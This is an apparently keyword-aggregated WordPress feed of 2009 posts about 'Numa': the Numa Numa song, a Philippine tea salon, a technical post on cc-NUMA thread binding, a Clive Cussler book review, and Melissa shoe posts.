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<title><![CDATA[Today's Top Eurotastic Song]]></title>
<link>http://alindenauer.wordpress.com/2009/12/23/todays-top-eurotastic-song-7/</link>
<pubDate>Wed, 23 Dec 2009 11:27:18 +0000</pubDate>
<dc:creator>alindenauer</dc:creator>
<guid>http://alindenauer.wordpress.com/2009/12/23/todays-top-eurotastic-song-7/</guid>
<description><![CDATA[No list of Eurotastic songs would be complete without O-Zone&#8217;s megahit Dragostea din tei, bett]]></description>
<content:encoded><![CDATA[<div class='snap_preview'><p>No list of Eurotastic songs would be complete without O-Zone&#8217;s megahit Dragostea din tei, better known as the Numa Numa song:</p>
<p style="text-align:center;"><span style='text-align:center; display: block;'><object width='425' height='350'><param name='movie' value='http://www.youtube.com/v/RceGBF9sobs&#038;rel=1&#038;fs=1&#038;showsearch=0&#038;hd=0' /><param name='allowfullscreen' value='true' /><param name='wmode' value='transparent' /><embed src='http://www.youtube.com/v/RceGBF9sobs&#038;rel=1&#038;fs=1&#038;showsearch=0&#038;hd=0' type='application/x-shockwave-flash' allowfullscreen='true' width='425' height='350' wmode='transparent'></embed></object></span></p>
<p style="text-align:left;">This song reached number 1 in 27 diffeent countries and was recorded in dozens of languages from Chinese to Hebrew.</p>
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<title><![CDATA[Numa's 79th Birthday Celebration]]></title>
<link>http://numateasalon.wordpress.com/2009/12/17/numas-79th-birthday-celebration/</link>
<pubDate>Wed, 16 Dec 2009 17:35:35 +0000</pubDate>
<dc:creator>numateasalon</dc:creator>
<guid>http://numateasalon.wordpress.com/2009/12/17/numas-79th-birthday-celebration/</guid>
<description><![CDATA[On December 15, 2009, Norma Villa Maraña, who is fondly called &#8220;Numa&#8221; by her family and ]]></description>
<content:encoded><![CDATA[<div class='snap_preview'><p>On December 15, 2009, Norma Villa Maraña, who is fondly called &#8220;Numa&#8221; by her family and friends, celebrated her 79th birthday at Numa Tea Salon.  As you may be wondering as you read this, yes, the tea salon was named in her honor by her daughter Tess Maraña who manages and runs the outlet located in Forbestown, Rizal Drive, Bonifacio Global City. </p>
<div id="attachment_317" class="wp-caption aligncenter" style="width: 310px"><a href="http://numateasalon.wordpress.com/files/2009/12/birthdayphoto-1.jpg"><img class="size-medium wp-image-317" title="Birthday,Photo.1" src="http://numateasalon.wordpress.com/files/2009/12/birthdayphoto-1.jpg?w=300" alt="" width="300" height="224" /></a><p class="wp-caption-text">Numa and Tess Maraña</p></div>
<p>At 79, Numa is active and keeps herself busy as a pharmacist in Villa Hospital in Taal, Batangas, as well as in helping bring Batangas delicacies to the Numa Tea Salon for customers to enjoy.  Part of her secret to staying strong and young at heart is to devote her time and energy to activities that continue to help her family and to keeping up with developments in the field of pharmacy.  She believes that continuous learning is one ingredient to staying sharp in her golden years.</p>
<p>Tess, indefatigable as always, prepared old time favorites for family and friends.  It was a wonderful time to get together and celebrate.</p>
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<title><![CDATA[Try Our Numa Favorites!]]></title>
<link>http://numateasalon.wordpress.com/2009/12/11/try-our-numa-favorites/</link>
<pubDate>Fri, 11 Dec 2009 12:36:57 +0000</pubDate>
<dc:creator>numateasalon</dc:creator>
<guid>http://numateasalon.wordpress.com/2009/12/11/try-our-numa-favorites/</guid>
<description><![CDATA[Looking for your favorite comfort foods?  Try our Numa favorites.  Time and again Numa friends go ou]]></description>
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<p>Looking for your favorite comfort foods?  Try our Numa favorites.  Time and again Numa friends go out of their way to visit us and enjoy their favorite dishes.  And for those who live in Forbestown, Belagio, Kensington, Penhurst and Bonifacio Ridge Condominium, we are only a few steps away.  Too busy to cook?  Come over and let us serve you.</p>
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<div id="attachment_305" class="wp-caption aligncenter" style="width: 310px"><a href="http://numateasalon.wordpress.com/files/2009/12/homemade-embotido1.jpg"><img class="size-medium wp-image-305" title="Homemade.Embotido" src="http://numateasalon.wordpress.com/files/2009/12/homemade-embotido1.jpg?w=300" alt="" width="300" height="224" /></a><p class="wp-caption-text">Homemade Embotido</p></div>
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<div id="attachment_306" class="wp-caption aligncenter" style="width: 310px"><a href="http://numateasalon.wordpress.com/files/2009/12/callos-ala-madrilena3.jpg"><img class="size-medium wp-image-306" title="Callos.ala.Madrileña" src="http://numateasalon.wordpress.com/files/2009/12/callos-ala-madrilena3.jpg?w=300" alt="" width="300" height="224" /></a><p class="wp-caption-text">Callos ala Madrileña</p></div>
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<title><![CDATA[Daily cc-NUMA Craziness]]></title>
<link>http://terboven.wordpress.com/2009/12/02/daily-cc-numa-craziness/</link>
<pubDate>Wed, 02 Dec 2009 18:03:57 +0000</pubDate>
<dc:creator>terboven</dc:creator>
<guid>http://terboven.wordpress.com/2009/12/02/daily-cc-numa-craziness/</guid>
<description><![CDATA[Since cc-NUMA architectures have become ubiquitous in the x86 server world, it is very important to ]]></description>
<content:encoded><![CDATA[<div class='snap_preview'><p>Since cc-NUMA architectures have become ubiquitous in the x86 server world, it is very important to optimize memory and thread or process placement, especially for Shared-Memory parallelization. In doing so I was pretty successful in optimizing several of our user codes for cc-NUMA architectures by introducing manual binding strategies. I like the <em>cpuinfo</em> tool that comes with Intel MPI 3.x a lot, it is to query how all the cores are related (i.e. which cores share a cache). Based on that output I used to figure out my strategies for every architecture that we have in our center or that I have access to elsewhere. However, during the last couple of days I observed some benchmark results that did not make much sense to me, and today I stumbled upon the cause for that &#8211; something I just did not expect. I will tell you in a second, but my statement is: Manual Binding can be a bad thing, although one can achieve a nice speedup by doing it right even experts can easily be fooled, therefore it is high time to get access to a standardized interface to communicate with the threading runtime and the OS!</p>
<p>We have dual-socket Intel Nehalem-EP systems from two different vendors: Sun and HP. The Sun systems are intended for HPC and are equipped with Xeon X5570 (2.93 GHz) CPUs, the HP systems are intended for infrastructure services and are equipped with Xeon E5540 (2.53 GHz) CPUs. Anyhow, I got hold of both, put some jobs on the boxes and was really disappointed by the speedup measurements on the HP system. In investigating the reason for that I found out that the numbering of the logical cores on both systems is different. Oh dear, two dual-socket systems with Intel Nehalem-EP processors, in one system the cores 0 and 1 are on the same socket, but in the other system they are on a different socket. Lets take a look at the output of <em>cpuinfo</em> on the Sun system:</p>
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<h4>Processor composition</h4>
<pre>Processors(CPU)   : 16
Packages(sockets) : 2
Cores per package : 4
Threads per core  : 2</pre>
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<h3>Processor identification</h3>
<pre>Processor  Thread Id.  Core Id.  Package Id.
0          0           0         0
1          0           1         0
2          0           2         0
3          0           3         0
4          0           0         1
5          0           1         1
6          0           2         1
7          0           3         1
8          1           0         0
9          1           1         0
10         1           2         0
11         1           3         0
12         1           0         1
13         1           1         1
14         1           2         1
15         1           3         1</pre>
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<h3>Placement on packages</h3>
<pre>Package Id.  Core Id.  Processors
0            0,1,2,3   (0,8)(1,9)(2,10)(3,11)
1            0,1,2,3   (4,12)(5,13)(6,14)(7,15)</pre>
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<h3>Cache sharing</h3>
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L1     32 KB   (0,8)(1,9)(2,10)(3,11)
               (4,12)(5,13)(6,14)(7,15)
L2     256 KB  (0,8)(1,9)(2,10)(3,11)
               (4,12)(5,13)(6,14)(7,15)
L3     8 MB    (0,1,2,3,8,9,10,11)
               (4,5,6,7,12,13,14,15)</pre>
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<p>And this is the output on the HP system:</p>
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<h4>Processor composition</h4>
<pre>Processors(CPU)   : 16
Packages(sockets) : 2
Cores per package : 4
Threads per core  : 2</pre>
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<h3>Processor identification</h3>
<pre>Processor  Thread Id.  Core Id.  Package Id.
0          0           0         1
1          0           0         0
2          0           2         1
3          0           2         0
4          0           1         1
5          0           1         0
6          0           3         1
7          0           3         0
8          1           0         1
9          1           0         0
10         1           2         1
11         1           2         0
12         1           1         1
13         1           1         0
14         1           3         1
15         1           3         0</pre>
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<h3>Placement on packages</h3>
<pre>Package Id.  Core Id.  Processors
1            0,2,1,3   (0,8)(2,10)(4,12)(6,14)
0            0,2,1,3   (1,9)(3,11)(5,13)(7,15)</pre>
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<h3>Cache sharing</h3>
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L1     32 KB   (0,8)(1,9)(2,10)(3,11)
               (4,12)(5,13)(6,14)(7,15)
L2     256 KB  (0,8)(1,9)(2,10)(3,11)
               (4,12)(5,13)(6,14)(7,15)
L3     8 MB    (0,2,4,6,8,10,12,14)
               (1,3,5,7,9,11,13,15)
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<p>Lets take a closer look at this table. Wherever you find the identification &#8216;processor&#8217;, this refers to the logical core as visible to the operating system. A &#8216;package&#8217; is a socket, and we have two &#8216;(hyper-)threads&#8217; per &#8216;package&#8217;. On the Sun system, the logical cores 0 and 1 are located on the same socket, the cores 0 to 8 refer to eight full cores on two sockets making use of all caches. On the HP system, the logical cores 0 and 1 are located on two sockets, the cores 0 to 8 refer to four hyper-threaded cores on two sockets making use of only half the caches. I am not saying one of the two strategies is better &#8211; but if you use one machine to determine what the best is for you application, put this into a start-up script and change the machines in between your measurements, that you will be surprised (and not to the good).</p>
<p>How is the core numbering determined? Well, the short answer is &#8220;not by the OS, but by the BIOS&#8221;; the honest answer is &#8220;I don&#8217;t know exactly&#8221;. The BIOS has a lot of influence, for example one can take a look at the <em>Advanced Configuration and Power Interface Specification</em> (ACPI: <a href="http://www.acpi.info/DOWNLOADS/ACPIspec40.pdf">http://www.acpi.info/DOWNLOADS/ACPIspec40.pdf</a>) in section 5.2.17 that there is a <em>System Locality Distance Information Table</em> (SLIT) that lists the distance between hardware resources on different NUMA nodes. In theory the OS kernel can make use of that table, and it does or it fills in constant values (i.e. 10 = local, 20 = remote) in case the table is empty. But the ACPI specification does not specify how the table is generated &#8211; that is up to the BIOS implementation itself, and probably up to BIOS settings. The important take-away is that (i) BIOS settings influence the core numbering scheme, (ii) obviously BIOS settings are not the same across vendors, (iii) the numbering can change over time anyhow and other OSes (i.e. Windows)  do it differently -&#62; (iv) do not rely on the numbering scheme being static.</p>
<p>What should you do instead? We do not have a standardized way to influence the thread / process binding. Using tools such as <em>numactl</em> (Linux) or <em>start /affinity</em> (Windows) accept core ids as argument, which is far from optimal. The same holds for explicit API calls to do the binding. Instead, the Intel compiler is following a good path: The environment variable <em>KMP_AFFINITY</em> can be used to define an explicit thread-to-core mapping, but it also accepts two strategies: <em>scatter</em> and <em>compact</em>. The idea of <em>scatter</em> is to bind the threads as far apart as possible (to use all the caches and to have all the memory bandwidth available); the idea of <em>compact</em> is to bind the threads as close together as possible (to profit from shared caches). Running a program with two threads using the <em>scatter</em> strategy on the Sun system results in binding thread 0 to the core set {0,8} and thread 1 to the core set {4,12} (-&#62; two sockets). The same experiment on the HP systems results in binding thread 0 to the core set {1,9} and thread 1 to the core set {0,8} (-&#62; two sockets, again). This abstracts from the hardware / system details and allows the user, who might not be an HPC expert, to concentrate on optimizing the application by choosing from just two strategies, still getting &#8220;portable performance&#8221; on Intel CPUs. A portable thread binding interface is under discussion for OpenMP 3.1 (see my <a href="http://terboven.wordpress.com/2009/10/04/how-openmp-is-moving-towards-version-3-1-4-0/" target="_self">previous blog post</a>), and I am in a strong favor for allowing the user from choosing strategies. The one shortcoming of Intel&#8217;s current implementation occurs when you have multiple levels of Shared-Memory parallelization in one application and want to mix strategies &#8211; which might make sense. But this could easily be overcome. Let&#8217;s see what the future might bring, for now I just fixed my scripts to include a sanity check that the core numbering is indeed as expected&#8230;</p>
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<title><![CDATA[SALUTE C'EST DIEGO UN ... RAIDUK ?]]></title>
<link>http://leblogrose.wordpress.com/2009/11/08/salute-cest-diego-un-raiduk/</link>
<pubDate>Sun, 08 Nov 2009 13:14:25 +0000</pubDate>
<dc:creator>alexcouter</dc:creator>
<guid>http://leblogrose.wordpress.com/2009/11/08/salute-cest-diego-un-raiduk/</guid>
<description><![CDATA[Il y a une semaine de cela, Gary Brolsma a conduit la troupe de majors sur le terrain de football am]]></description>
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<p style="text-align:center;">Il y a une semaine de cela, Gary Brolsma a conduit la troupe de majors sur le terrain de football américain. J&#8217;en profite pour vous donner la vidéo publiée officiellement il y a quelques heures. <img src='http://s.wordpress.com/wp-includes/images/smilies/icon_biggrin.gif' alt=':D' class='wp-smiley' /> </p>
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<h2 style="text-align:center;"><em><strong>ALLO, AHALO ! <img src='http://s.wordpress.com/wp-includes/images/smilies/icon_biggrin.gif' alt=':D' class='wp-smiley' /> </strong></em></h2>
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<title><![CDATA[Who's Watching the Numa Numa Guy?]]></title>
<link>http://phailosophy.wordpress.com/2009/10/25/whos-watching-the-numa-numa-guy/</link>
<pubDate>Mon, 26 Oct 2009 03:49:31 +0000</pubDate>
<dc:creator>phailosipher</dc:creator>
<guid>http://phailosophy.wordpress.com/2009/10/25/whos-watching-the-numa-numa-guy/</guid>
<description><![CDATA[First off all, that is not me. Why? Because your computer monitor would explode into pure awesomenes]]></description>
<content:encoded><![CDATA[<div class='snap_preview'><p><img class="aligncenter size-full wp-image-93" title="10ca1c54034cb78db44c44adf62d3476" src="http://phailosophy.wordpress.com/files/2009/10/10ca1c54034cb78db44c44adf62d34761.jpg" alt="10ca1c54034cb78db44c44adf62d3476" width="480" height="345" />First off all, that is not me. Why? Because your computer monitor would explode into pure awesomeness if it tried to display my godly image. This is the Numa Numa guy,  a man largely known on the everlasting tubes of Youtube, but this time though, he&#8217;s singing a different song:</p>
<p><span style='text-align:center; display: block;'><object width='425' height='350'><param name='movie' value='http://www.youtube.com/v/HItwu7PNdNo&#038;rel=1&#038;fs=1&#038;showsearch=0&#038;hd=0' /><param name='allowfullscreen' value='true' /><param name='wmode' value='transparent' /><embed src='http://www.youtube.com/v/HItwu7PNdNo&#038;rel=1&#038;fs=1&#038;showsearch=0&#038;hd=0' type='application/x-shockwave-flash' allowfullscreen='true' width='425' height='350' wmode='transparent'></embed></object></span></p>
<p>As you can see, he&#8217;s singing to the tone of the new song on those new Geico commercials. I can never sing like that, not since that time I got my singing box ripped out by my jealous ex-girlfriend. She knew I was a better singer than her, even if it made her ears bleed.</p>
<p>Thanks to <a href="http://www.youtube.com" target="_blank">Youtube</a></p>
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<title><![CDATA[Polarsturm: Ein Dirk-Pitt-Roman von Clive Cussler. Ein wahres Feuerwerk aus Non-Stop-Action, abgründigen Geheimnissen und packender Spannung]]></title>
<link>http://buchperlen.wordpress.com/2009/10/22/polarsturm-ein-dirk-pitt-roman/</link>
<pubDate>Thu, 22 Oct 2009 08:59:02 +0000</pubDate>
<dc:creator>buchperlen</dc:creator>
<guid>http://buchperlen.wordpress.com/2009/10/22/polarsturm-ein-dirk-pitt-roman/</guid>
<description><![CDATA[Polarsturm Polarsturm: Ein Dirk-Pitt-Roman von Clive Cussler Blanvalet Verlag Dirk Pitt kehrt zurück]]></description>
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<p><strong>Polarsturm:<br />
Ein Dirk-Pitt-Roman von Clive Cussler<br />
Blanvalet Verlag</strong></p>
<p><em>Dirk Pitt kehrt zurück!</em><br />
Ein skrupelloser Geschäftemacher sieht seinen Profit bedroht, als in einem kleinen Labor ein ungeahnter Durchbruch gegen die Klimaerwärmung erreicht wird.</p>
<p><strong>Doch die bloße Zerstörung des Labors reicht ihm nicht</strong>. Vielmehr treibt er die Vereinigten Staaten in einen Konflikt, der sich sehr rasch in einen Krieg auswachsen könnte.</p>
<p><strong>Nur Dirk Pitt, der Direktor der NUMA, und seine Kinder Dirk junior und Summer erkennen den Zusammenhang</strong>. Doch noch können sie nichts beweisen. Ihre einzige Spur ist ein mysteriöses silbriges Mineral, die zu einer Expedition führt, die vor langer Zeit unternommen wurde. Und deren Mitglieder seither verschollen sind.</p>
<p><strong>Offenbar hat damals niemand überlebt</strong>, und Dirk Pitt könnte es ebenso ergehen. Doch wenn er nicht schnell genug Erfolg hat, ist sein Leben nicht das Einzige, das auf dem Spiel steht. <strong>Der Countdown läuft&#8230;</strong></p>
<p><em>Erfahren Sie mehr über die reale NUMA unter</em>:<br />
<a title="clive-cussler" href="http://www.clive-cussler.de/" target="_blank">numa.net<br />
clive-cussler.de</a></p>
<p><strong>Clive Cussler</strong>, geboren am 15. Juli 1931 in Aurora, Illinois, wuchs in Alhambra, Kalifornien, auf. Während des Koreakrieges war er Flugzeugingenieur und Pilot bei der US Air Force, bevor er als Funk- und Fernsehautor bekannt wurde. Cussler schrieb und produzierte in Hollywood Radio- und Fernsehwerbekampagnen, die mit zahlreichen internationalen Preisen, unter anderem beim weltweit angesehenen und beachteten Filmfestival von Cannes, ausgezeichnet wurden.</p>
<p>Er nahm an einer Expedition teil, die in den Wüsten des amerikanischen Südwestens nach vergessenen Goldminen suchte, und beteiligte sich an einem Unternehmen, das an der englischen Küste nach versunkenen Schiffen forschte.</p>
<p><strong>Er hat sich, seit er 1973 seinen mittlerweile legendären Helden Dirk Pitt erfand, einen der vordersten Plätze unter den großen internationalen Bestsellerautoren gesichert</strong>. Clive Cussler hat 3 Kinder, Teri, Dirk und Dana. Nach 48 Jahren Ehe verstarb im Jahr 2003 seine Frau Barbara. <strong>Buchperlen-Bewertung: *****</strong></p>
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<title><![CDATA[Lydia Castillo Writes About Numa on Starweek]]></title>
<link>http://numateasalon.wordpress.com/2009/10/04/lydia-castillo-writes-about-numa-on-starweek/</link>
<pubDate>Sun, 04 Oct 2009 04:04:25 +0000</pubDate>
<dc:creator>numateasalon</dc:creator>
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<description><![CDATA[Teas of the world IN MY BASKET By Lydia D. Castillo (The Philippine Star) Updated October 04, 2009 1]]></description>
<content:encoded><![CDATA[<div class='snap_preview'><p><span id="ctl00_cph1_Article1_FormView1_ArticleHeaderLabel" style="font-weight:bolder;font-size:18px;line-height:25px;"><img class="alignleft size-full wp-image-261" title="Lydia-D-Castillo" src="http://numateasalon.wordpress.com/files/2009/10/lydia-d-castillo.jpg" alt="Lydia-D-Castillo" width="75" height="75" />Teas of the world</span><br />
<a id="ctl00_cph1_Article1_FormView1_LabelAuthorName" style="font-weight:normal;" title="Displays articles written by this author" href="http://numateasalon.wordpress.com/wp-admin/ArticleListByAuthorName.aspx?AuthorName=Lydia+D.+Castillo">IN MY BASKET By Lydia D. Castillo</a> <span id="ctl00_cph1_Article1_FormView1_LabelChannelPublishDateTime" style="font-weight:normal;color:gray;">(The Philippine Star) Updated October 04, 2009 12:00 AM</span></p>
<p>                                                                                                                                                                                                                  The country has yet to become a tea-drinking community. <a id="KonaLink0" style="position:static;text-decoration:underline!important;" href="http://www.philstar.com/Article.aspx?articleId=510869&#38;publicationSubCategoryId=90#" target="_top"><span style="font-weight:400;font-size:11px;color:#0000ff;position:static;"><span style="font-weight:400;font-size:11px;color:blue!important;font-family:verdana,tahoma,arial,sans-serif;position:relative;">Coffee</span></span></a> and soft drinks dominate the market. Our forebears and some of our generation consider tea as purely medicinal, something one drinks only when suffering from colds and other ailments. Our friend Tess started promoting tea time as a social activity in her T Salon formerly located at Glorietta. In upscale places like five-star hotels, high tea afternoons are regularly held.</p>
<p>Tess has moved to the Global City, at Forbeswood Heights on Rizal Drive, renaming her outlet Numa, in honor of her mother. Here she offers some of the best teas of the world, either to enjoy there or to take home. The history of tea started in 3000 BC in China, then its cultivation spread to India, Japan, Ceylon (now Sri Lanka) and other parts of the world. In England, the Lady of Bedford enhanced the session with savories, presented on the tiered <em>epergne</em>.</p>
<p>There are three types of tea – green, black and oolong. The green has lately become the most popular, perhaps because of the increasing concern for a healthier way of life. Our first green tea drink was at a tea ceremony in Japan, quite a long time ago. We almost didn’t take it because of its consistency and color. We found out this comes from unfermented tea leaves which are roasted immediately after harvest, giving it a strong, bitter taste. This process retains more of the nutrients as compared to the black variety. Outside of the classic teas, there are herbal and scented (with flowers and fruits).</p>
<p>Numa is not only a tea store – it is a dining place for Batangueños who miss their <em>bulanglang</em> and<em> tulingan</em>. At regular intervals, it offers a hearty Batangas buffet for P295 per. On the day we lunched there, they had the typical <em>bulalo</em> with corn and <em>adobong manok sa dilaw</em> (turmeric), among other dishes. We welcomed the dessert of <em>ginataang pindot</em> (pinched), a take on the <em>ginataang halo-halo</em>, but using only the glutinous <em>bilo-bilo</em> (rice balls) and <em>sago</em>, cooked in thick coconut milk and sugar.</p>
<p>They’ve got other offerings – salads, sandwiches, pasta, Pinoy snacks, <em>pancit </em>and cakes. The high tea costs P495 a set, which is good for two. This includes scones with clotted cream, mini sandwiches and pastries. The tea collection consists of packs in 50, 100 and 200 gms. Prices range from P265 to P1,025.</p>
<p><a href="http://www.philstar.com/Article.aspx?articleId=510869&#38;publicationSubCategoryId=90">http://www.philstar.com/Article.aspx?articleId=510869&#38;publicationSubCategoryId=90</a>#</p>
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<title><![CDATA[Melissa Numa + Lovefoxxx]]></title>
<link>http://koolnow.wordpress.com/2009/09/30/melissa-numa-lovefoxxx/</link>
<pubDate>Wed, 30 Sep 2009 19:18:04 +0000</pubDate>
<dc:creator>fullarsenal</dc:creator>
<guid>http://koolnow.wordpress.com/2009/09/30/melissa-numa-lovefoxxx/</guid>
<description><![CDATA[Em sua segunda parceria com Luísa Lovefoxxx, vocalista da banda Cansei de Ser Sexy, a Melissa acaba ]]></description>
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<title><![CDATA[Numa + Lovefoxxx, os ratos saem sim!]]></title>
<link>http://lookmelissa.wordpress.com/2009/09/27/numa-lovefoxxx-os-ratos-saem-sim/</link>
<pubDate>Sun, 27 Sep 2009 23:09:41 +0000</pubDate>
<dc:creator>lookmelissa</dc:creator>
<guid>http://lookmelissa.wordpress.com/2009/09/27/numa-lovefoxxx-os-ratos-saem-sim/</guid>
<description><![CDATA[A Numa Lovefoxxx com certeza é o modelo mais polêmico dessa coleção, umas acham horroroso e outras a]]></description>
<content:encoded><![CDATA[<div class='snap_preview'><p>A Numa Lovefoxxx com certeza é o modelo mais polêmico dessa coleção, umas acham horroroso e outras acham estiloso. Eu já passei da idade de causar feito Lady Gaga, mas estou começando a achar a ideia bacana. Então se alguém tiver um look com a Ratinho me manda que posto aqui!</p>
<p>Bom, uma das polêmicas era a questão&#8230; o rato sai ou não sai? Algumas revendedoras Melissa já tinham me dito que saía sim, mas a prova está aqui. Esta foto é emprestada do <a href="http://www.flickr.com/photos/macgananca/" target="_blank">flickr da Mariana</a> que comprou o rato e adorou, conseguiu destacar ele e está com certa dificuldade para recolocar.</p>
<p><img class="alignnone" title="look melissa lovefoxxx destacael rato" src="http://farm3.static.flickr.com/2516/3955533025_2480832660_o.jpg" alt="" width="576" height="389" /></p>
<p>O rato sai, mas pra recolocar é um parto e de cócoras! hehehe</p>
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<title><![CDATA[Dawn of the Nobody's: A look at independent films]]></title>
<link>http://filmkids.wordpress.com/2009/09/25/153/</link>
<pubDate>Fri, 25 Sep 2009 23:35:04 +0000</pubDate>
<dc:creator>kristahe</dc:creator>
<guid>http://filmkids.wordpress.com/2009/09/25/153/</guid>
<description><![CDATA[In this high paced, crazy technological world we all find ourselves living in, it’s no wonder the da]]></description>
<content:encoded><![CDATA[<div class='snap_preview'><p>In this high paced, crazy technological world we all find ourselves living in, it’s no wonder the dawn of the Nobody’s has arrived. With programs like YouTube, Facebook, Twitter and Flicker, people have a chance for the whole world to see them making fools of themselves and in doing so, start a revolution. Here’s a list of a few names. Let’s see if you recognize any of them.</p>
<p>1.) Gary Brolsma, 2.) Jessica Rose, 3.) Judson Laipply and 4.) Neil Cicierga.</p>
<p>Not sure who they are? Well maybe this will help you:<img class="alignright size-thumbnail wp-image-154" title="picnuma" src="http://filmkids.wordpress.com/files/2009/09/picnuma.jpg?w=150" alt="picnuma" width="133" height="96" /></p>
<p>1. Gary <img class="alignleft size-thumbnail wp-image-155" title="piclonely" src="http://filmkids.wordpress.com/files/2009/09/piclonely.jpg?w=139" alt="piclonely" width="96" height="92" />Brolsma: danced to the song Dragostea din tei for the world in front of his webcam. He’s now known as the “Numa Numa Guy”</p>
<p>2. Jessica Rose is a American born New Zealander who acted in front of her webcam after being hired by three writers. She’s most commonly referred to as lonelygirl15.</p>
<p>3. Judson Laipply is a motivational speaker known mostly for his fearless performance and creation of the Evolution of Dance. Now if you’ve never heard of this, you must so here it is:</p>
<p style="text-align:center;"><span style='text-align:center; display: block;'><object width='425' height='350'><param name='movie' value='http://www.youtube.com/v/dMH0bHeiRNg&#038;rel=1&#038;fs=1&#038;showsearch=0&#038;hd=0' /><param name='allowfullscreen' value='true' /><param name='wmode' value='transparent' /><embed src='http://www.youtube.com/v/dMH0bHeiRNg&#038;rel=1&#038;fs=1&#038;showsearch=0&#038;hd=0' type='application/x-shockwave-flash' allowfullscreen='true' width='425' height='350' wmode='transparent'></embed></object></span></p>
<p>4. Neil Cicierga is known under his stage name as Lemon Demon but most importantly he’s known for his creatio<img class="alignright size-thumbnail wp-image-156" title="pichppp" src="http://filmkids.wordpress.com/files/2009/09/pichppp.jpg?w=150" alt="pichppp" width="150" height="112" />n of one of the greatest YouTube video’s of all time. The Harry Potter Puppet Pals.</p>
<p>So what’s one thing that all of these people have in common? They were basically nobody’s before they put their stuff on YouTube. Now a days most of their faces or their work is recognized by millions upon millions of people all over the world.</p>
<p>So why am I talking about celebrity YouTuber’s? What I’m trying to convey is a sudden shift in popularity. People are finding more enjoyment in things that aren’t so mainstream as say the latest action movie or romantic comedy. There’s a sudden push for more Independent Films.</p>
<p>Independent Films, as according to the website <a href="http://www.makeindependentfilms.com/definition.htm">Make Independent Films</a>, has a technical definition, which is a movie that was funded with less then 50% of the money that comes from one of the big six major film studios to make their movies and a creative definition. The creative definition defines an independent film is any character driven movie that’s made outside the confines of the traditional Hollywood system. It has a very small budget and keeps corporation’s influence out. Most of the time the film has a strong focus on character development coupled with trying to convey a original and controversial story line.</p>
<p>Some of the greatest independent film’s that have become so popular they’ve hit main stream include Saw, The Blair Witch Project, Reservoir Dogs, Pulp Fiction, Monty Python and the Holy Grail, Kill Bill Vol. 1, Thank you for Smoking, Clerks, Little Miss Sunshine and Napoleon Dynamite. One of the greatest things about Independent film making is that everything is low budget so almost no one in the films have that famous of a career. However, from movies like Napoleon Dynamite and Little Miss Sunshine, people like Jon Heder (Napoleon himself) and Abigail Breslin (Olive) have independent films as a launching point and go on to have pretty successful mainstream careers. Other celebrities take a step back from the main stream world and participate in a Independent film like Uma Thurman in Kill Bill Vol. 1.</p>
<p><img class="alignleft size-thumbnail wp-image-157" title="aapulp" src="http://filmkids.wordpress.com/files/2009/09/aapulp.jpg?w=100" alt="aapulp" width="73" height="109" /></p>
<p>        <img class="alignnone size-thumbnail wp-image-158" title="aanap" src="http://filmkids.wordpress.com/files/2009/09/aanap.jpg?w=103" alt="aanap" width="80" height="107" />        <img class="alignnone size-thumbnail wp-image-159" title="ablair" src="http://filmkids.wordpress.com/files/2009/09/ablair.jpg?w=150" alt="ablair" width="85" height="110" />        <img class="alignnone size-thumbnail wp-image-160" title="aasun" src="http://filmkids.wordpress.com/files/2009/09/aasun.jpg?w=101" alt="aasun" width="76" height="105" />         <img class="alignnone size-thumbnail wp-image-161" title="untitled" src="http://filmkids.wordpress.com/files/2009/09/aathanks.jpg?w=99" alt="untitled" width="85" height="110" />        <img class="alignnone size-thumbnail wp-image-162" title="aamonty" src="http://filmkids.wordpress.com/files/2009/09/aamonty.jpg?w=102" alt="aamonty" width="80" height="109" />        <img class="alignnone size-thumbnail wp-image-163" title="aakill" src="http://filmkids.wordpress.com/files/2009/09/aakill.jpg?w=104" alt="aakill" width="74" height="109" /></p>
<p>In recent years the film industry is finding that people are enjoying simpler films that focus on real people in real life situations. The screenplays for these films are usually pretty simple with nothing too extreme to film buy it focuses more on the quality of the character development and plot development as opposed to keeping the audience trapped in a fast paced world of huge explosions and gun fights. What people are asking for, what people are looking to see is real life. Simplicity. We’re looking for film directors, screenwriters and actors to capture who we really are. Now who we are when we close our eyes at night to dream. We are in the age of Nobody’s. We want the nobody’s to become somebody. And independent film making, as well as sites like YouTube, are finally making that possible.</p>
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<title><![CDATA[Something from way back...]]></title>
<link>http://mixjemup.wordpress.com/2009/09/21/something-from-way-back/</link>
<pubDate>Sun, 20 Sep 2009 19:36:59 +0000</pubDate>
<dc:creator>Jemuel</dc:creator>
<guid>http://mixjemup.wordpress.com/2009/09/21/something-from-way-back/</guid>
<description><![CDATA[over 31 million views!]]></description>
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<p>over 31 million views!</p>
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<title><![CDATA[Chegou: Numa + Lovefoxxx]]></title>
<link>http://lookmelissa.wordpress.com/2009/09/17/chegou-numa-lovefoxxx/</link>
<pubDate>Thu, 17 Sep 2009 20:52:04 +0000</pubDate>
<dc:creator>lookmelissa</dc:creator>
<guid>http://lookmelissa.wordpress.com/2009/09/17/chegou-numa-lovefoxxx/</guid>
<description><![CDATA[Ela chegou: a polêmica Numa + Lovefoxxx ou Melissa do rato como ficou conhecida! Pra quem, como eu, ]]></description>
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<p>Ela chegou: a polêmica Numa + Lovefoxxx ou Melissa do rato como ficou conhecida!</p>
<p>Pra quem, como eu, adorou as cores e odiou o rato&#8230; dá pra destacar o rato (sem estragar a melissa). <a href="http://www.lojamelissa.com.br/colecao/love-pirates/numa-love-foxxx/#preto-bege" target="_blank">Custa R$100 e chegou na Loja Melissa.</a></p>
<p><img class="size-medium wp-image-932 alignleft" title="28_Lovefoxx" src="http://lookmelissa.wordpress.com/files/2009/09/28_lovefoxx.jpg?w=199" alt="28_Lovefoxx" width="199" height="300" /></p>
<p>E pra quem não conhece,a  Luísa Lovefoxxx é a vocalista do Cansei de ser sexy e vai estar ao lado de Mallu Magalhães no VMB 2009.</p>
<p>Ela tem a vibe fashionista, desenha camisetas e tem um look an&#8230; <span style="text-decoration:line-through;">bizarro</span> diferente?</p>
<p>A música é muito boa, um indie rock com pegadas eletrônicas que faz muito sucesso na Europa. Como aqui no Brasil<em> a gente</em> não entende inglês, não faz sucesso.</p>
<p>E vocês vão comprar a Melissa e jogar o rato pro gato?! Comprariam ou não?</p>
<p>Bjs, Tamy</p>
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<title><![CDATA[Melissa+Lovefoxxx]]></title>
<link>http://rockamorvegetal.wordpress.com/2009/09/17/melissalovefoxxx/</link>
<pubDate>Thu, 17 Sep 2009 20:45:58 +0000</pubDate>
<dc:creator>rockamorvegetal</dc:creator>
<guid>http://rockamorvegetal.wordpress.com/2009/09/17/melissalovefoxxx/</guid>
